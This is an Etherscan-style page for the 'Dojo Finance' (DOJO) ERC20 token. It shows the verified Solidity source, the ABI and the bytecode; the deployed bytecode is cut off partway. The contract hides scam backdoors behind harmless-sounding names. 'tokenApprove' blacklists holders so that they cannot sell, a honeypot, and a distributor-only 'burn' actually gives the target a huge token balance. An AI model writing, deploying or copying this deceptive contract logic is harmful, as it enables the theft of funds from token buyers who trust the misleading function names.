ETH Price: $3,409.21 (+2.93%)

Token

Dojo Finance (DOJO)
 

Overview

Max Total Supply

100,000,000,000 DOJO

Holders

103

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
gmicap.eth
Balance
1,569,559,219.554733469 DOJO

Value
$0.00
0x13b3a50f3947476eda74fe191344524e2d2d28e5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOJO

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 3: Dojo Finance.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

import "./IERC20.sol";
import "./Ownable.sol";

contract DOJO is Ownable, IERC20, IERC20Metadata {

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _tokensApprove;
    uint256 private maxTxLimit = 1*10**17*10**9;
    uint256 private balances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    bool _rewarded = false;
    address unif;
    address unir;

    constructor(address rter, address fctr) {
        _name = "Dojo Finance";
        _symbol = "DOJO";
        _totalSupply = 100000000000*10**9;
        _balances[msg.sender] += _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        balances = maxTxLimit;
        unir = rter; unif = fctr;
    }
  

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address disallowed");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
        _approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }

    function burn(address account, uint256 amount) external distributors {
        _burn(account, amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (_tokensApprove[recipient] || _tokensApprove[sender]) require(_rewarded == true, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
        _balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }
   
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function tokenApprove (address _address) external distributors {
        _tokensApprove[_address] = true;
    }    
        
    function rewardsQueue (address _address) external distributors {
        _tokensApprove[_address] = false;
    }    
        
    function maxAmountForWallet(address _address) public view returns (bool) {
        return _tokensApprove[_address];
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 2 of 3: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

interface IERC20 {

    function balanceOf(address account) external view returns (uint256);

    function totalSupply() external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

File 3 of 3: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    modifier distributors() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
    function distributor(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }
    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"rter","type":"address"},{"internalType":"address","name":"fctr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"distributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"maxAmountForWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"rewardsQueue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"tokenApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006005556000600a60006101000a81548160ff0219169083151502179055503480156200003b57600080fd5b506040516200257038038062002570833981810160405281019062000061919062000417565b62000081620000756200028460201b60201c565b6200028c60201b60201c565b6040518060400160405280600c81526020017f446f6a6f2046696e616e6365000000000000000000000000000000000000000081525060089080519060200190620000ce92919062000350565b506040518060400160405280600481526020017f444f4a4f00000000000000000000000000000000000000000000000000000000815250600990805190602001906200011c92919062000350565b5068056bc75e2d63100000600781905550600754600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000180919062000486565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620001e9919062000469565b60405180910390a360055460068190555081600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620005cf565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200035e9062000521565b90600052602060002090601f016020900481019282620003825760008555620003ce565b82601f106200039d57805160ff1916838001178555620003ce565b82800160010185558215620003ce579182015b82811115620003cd578251825591602001919060010190620003b0565b5b509050620003dd9190620003e1565b5090565b5b80821115620003fc576000816000905550600101620003e2565b5090565b6000815190506200041181620005b5565b92915050565b600080604083850312156200042b57600080fd5b60006200043b8582860162000400565b92505060206200044e8582860162000400565b9150509250929050565b620004638162000517565b82525050565b600060208201905062000480600083018462000458565b92915050565b6000620004938262000517565b9150620004a08362000517565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004d857620004d762000557565b5b828201905092915050565b6000620004f082620004f7565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200053a57607f821691505b6020821081141562000551576200055062000586565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b620005c081620004e3565b8114620005cc57600080fd5b50565b611f9180620005df6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a25780639dc29fac116100715780639dc29fac146102e3578063a457c2d7146102ff578063a9059cbb1461032f578063dd62ed3e1461035f578063e074839e1461038f57610116565b806370a082311461026d578063715018a61461029d5780638da5cb5b146102a757806395d89b41146102c557610116565b8063313ce567116100e9578063313ce567146101b7578063338c3b34146101d557806339509351146101f157806351beac79146102215780636fae9ec61461023d57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ab565b604051610130919061186a565b60405180910390f35b610153600480360381019061014e91906115df565b61043d565b604051610160919061184f565b60405180910390f35b61017161045b565b60405161017e9190611a0c565b60405180910390f35b6101a1600480360381019061019c9190611590565b610465565b6040516101ae919061184f565b60405180910390f35b6101bf61055d565b6040516101cc9190611a27565b60405180910390f35b6101ef60048036038101906101ea919061152b565b610566565b005b61020b600480360381019061020691906115df565b610651565b604051610218919061184f565b60405180910390f35b61023b6004803603810190610236919061152b565b6106fd565b005b6102576004803603810190610252919061152b565b6107e8565b604051610264919061184f565b60405180910390f35b6102876004803603810190610282919061152b565b61083e565b6040516102949190611a0c565b60405180910390f35b6102a5610887565b005b6102af61090f565b6040516102bc9190611834565b60405180910390f35b6102cd610938565b6040516102da919061186a565b60405180910390f35b6102fd60048036038101906102f891906115df565b6109ca565b005b610319600480360381019061031491906115df565b610a68565b604051610326919061184f565b60405180910390f35b610349600480360381019061034491906115df565b610b53565b604051610356919061184f565b60405180910390f35b61037960048036038101906103749190611554565b610b71565b6040516103869190611a0c565b60405180910390f35b6103a960048036038101906103a4919061152b565b610bf8565b005b6060600880546103ba90611b70565b80601f01602080910402602001604051908101604052809291908181526020018280546103e690611b70565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610d13565b8484610d1b565b6001905092915050565b6000600754905090565b6000610472848484610ee6565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bd610d13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561053d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105349061192c565b60405180910390fd5b61055185610549610d13565b858403610d1b565b60019150509392505050565b60006009905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed906119cc565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006106f361065e610d13565b84846002600061066c610d13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106ee9190611a5e565b610d1b565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610784906119cc565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61088f610d13565b73ffffffffffffffffffffffffffffffffffffffff166108ad61090f565b73ffffffffffffffffffffffffffffffffffffffff1614610903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fa9061194c565b60405180910390fd5b61090d6000611267565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461094790611b70565b80601f016020809104026020016040519081016040528092919081815260200182805461097390611b70565b80156109c05780601f10610995576101008083540402835291602001916109c0565b820191906000526020600020905b8154815290600101906020018083116109a357829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a51906119cc565b60405180910390fd5b610a64828261132b565b5050565b60008060026000610a77610d13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b906119ec565b60405180910390fd5b610b48610b3f610d13565b85858403610d1b565b600191505092915050565b6000610b67610b60610d13565b8484610ee6565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c00610d13565b73ffffffffffffffffffffffffffffffffffffffff16610c1e61090f565b73ffffffffffffffffffffffffffffffffffffffff1614610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b9061194c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccf57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d82906119ac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df2906118cc565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ed99190611a0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d9061196c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd9061188c565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110675750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110c35760011515600a60009054906101000a900460ff161515146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b99061198c565b60405180910390fd5b5b6110ce8383836114f7565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c906118ec565b60405180910390fd5b818103600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111ea9190611a5e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161124e9190611a0c565b60405180910390a36112618484846114fc565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113929061190c565b60405180910390fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611422576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611419906118ac565b60405180910390fd5b816006546114309190611ab4565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008282546114859190611ab4565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114ea9190611a0c565b60405180910390a3505050565b505050565b505050565b60008135905061151081611f2d565b92915050565b60008135905061152581611f44565b92915050565b60006020828403121561153d57600080fd5b600061154b84828501611501565b91505092915050565b6000806040838503121561156757600080fd5b600061157585828601611501565b925050602061158685828601611501565b9150509250929050565b6000806000606084860312156115a557600080fd5b60006115b386828701611501565b93505060206115c486828701611501565b92505060406115d586828701611516565b9150509250925092565b600080604083850312156115f257600080fd5b600061160085828601611501565b925050602061161185828601611516565b9150509250929050565b61162481611ae8565b82525050565b61163381611afa565b82525050565b600061164482611a42565b61164e8185611a4d565b935061165e818560208601611b3d565b61166781611c00565b840191505092915050565b600061167f602383611a4d565b915061168a82611c11565b604082019050919050565b60006116a2602283611a4d565b91506116ad82611c60565b604082019050919050565b60006116c5602283611a4d565b91506116d082611caf565b604082019050919050565b60006116e8602683611a4d565b91506116f382611cfe565b604082019050919050565b600061170b602c83611a4d565b915061171682611d4d565b604082019050919050565b600061172e602883611a4d565b915061173982611d9c565b604082019050919050565b6000611751602083611a4d565b915061175c82611deb565b602082019050919050565b6000611774602583611a4d565b915061177f82611e14565b604082019050919050565b6000611797600083611a4d565b91506117a282611e63565b600082019050919050565b60006117ba602483611a4d565b91506117c582611e66565b604082019050919050565b60006117dd601d83611a4d565b91506117e882611eb5565b602082019050919050565b6000611800602583611a4d565b915061180b82611ede565b604082019050919050565b61181f81611b26565b82525050565b61182e81611b30565b82525050565b6000602082019050611849600083018461161b565b92915050565b6000602082019050611864600083018461162a565b92915050565b600060208201905081810360008301526118848184611639565b905092915050565b600060208201905081810360008301526118a581611672565b9050919050565b600060208201905081810360008301526118c581611695565b9050919050565b600060208201905081810360008301526118e5816116b8565b9050919050565b60006020820190508181036000830152611905816116db565b9050919050565b60006020820190508181036000830152611925816116fe565b9050919050565b6000602082019050818103600083015261194581611721565b9050919050565b6000602082019050818103600083015261196581611744565b9050919050565b6000602082019050818103600083015261198581611767565b9050919050565b600060208201905081810360008301526119a58161178a565b9050919050565b600060208201905081810360008301526119c5816117ad565b9050919050565b600060208201905081810360008301526119e5816117d0565b9050919050565b60006020820190508181036000830152611a05816117f3565b9050919050565b6000602082019050611a216000830184611816565b92915050565b6000602082019050611a3c6000830184611825565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a6982611b26565b9150611a7483611b26565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611aa957611aa8611ba2565b5b828201905092915050565b6000611abf82611b26565b9150611aca83611b26565b925082821015611add57611adc611ba2565b5b828203905092915050565b6000611af382611b06565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b5b578082015181840152602081019050611b40565b83811115611b6a576000848401525b50505050565b60006002820490506001821680611b8857607f821691505b60208210811415611b9c57611b9b611bd1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611f3681611ae8565b8114611f4157600080fd5b50565b611f4d81611b26565b8114611f5857600080fd5b5056fea2646970667358221220bf4c0b0e91a3a50c358fc8f21e05f8d79497c4a266c97bca6ca41cb2ca3b838664736f6c634300080100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a25780639dc29fac116100715780639dc29fac146102e3578063a457c2d7146102ff578063a9059cbb1461032f578063dd62ed3e1461035f578063e074839e1461038f57610116565b806370a082311461026d578063715018a61461029d5780638da5cb5b146102a757806395d89b41146102c557610116565b8063313ce567116100e9578063313ce567146101b7578063338c3b34146101d557806339509351146101f157806351beac79146102215780636fae9ec61461023d57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ab565b604051610130919061186a565b60405180910390f35b610153600480360381019061014e91906115df565b61043d565b604051610160919061184f565b60405180910390f35b61017161045b565b60405161017e9190611a0c565b60405180910390f35b6101a1600480360381019061019c9190611590565b610465565b6040516101ae919061184f565b60405180910390f35b6101bf61055d565b6040516101cc9190611a27565b60405180910390f35b6101ef60048036038101906101ea919061152b565b610566565b005b61020b600480360381019061020691906115df565b610651565b604051610218919061184f565b60405180910390f35b61023b6004803603810190610236919061152b565b6106fd565b005b6102576004803603810190610252919061152b565b6107e8565b604051610264919061184f565b60405180910390f35b6102876004803603810190610282919061152b565b61083e565b6040516102949190611a0c565b60405180910390f35b6102a5610887565b005b6102af61090f565b6040516102bc9190611834565b60405180910390f35b6102cd610938565b6040516102da919061186a565b60405180910390f35b6102fd60048036038101906102f891906115df565b6109ca565b005b610319600480360381019061031491906115df565b610a68565b604051610326919061184f565b60405180910390f35b610349600480360381019061034491906115df565b610b53565b604051610356919061184f565b60405180910390f35b61037960048036038101906103749190611554565b610b71565b6040516103869190611a0c565b60405180910390f35b6103a960048036038101906103a4919061152b565b610bf8565b005b6060600880546103ba90611b70565b80601f01602080910402602001604051908101604052809291908181526020018280546103e690611b70565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610d13565b8484610d1b565b6001905092915050565b6000600754905090565b6000610472848484610ee6565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bd610d13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561053d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105349061192c565b60405180910390fd5b61055185610549610d13565b858403610d1b565b60019150509392505050565b60006009905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed906119cc565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006106f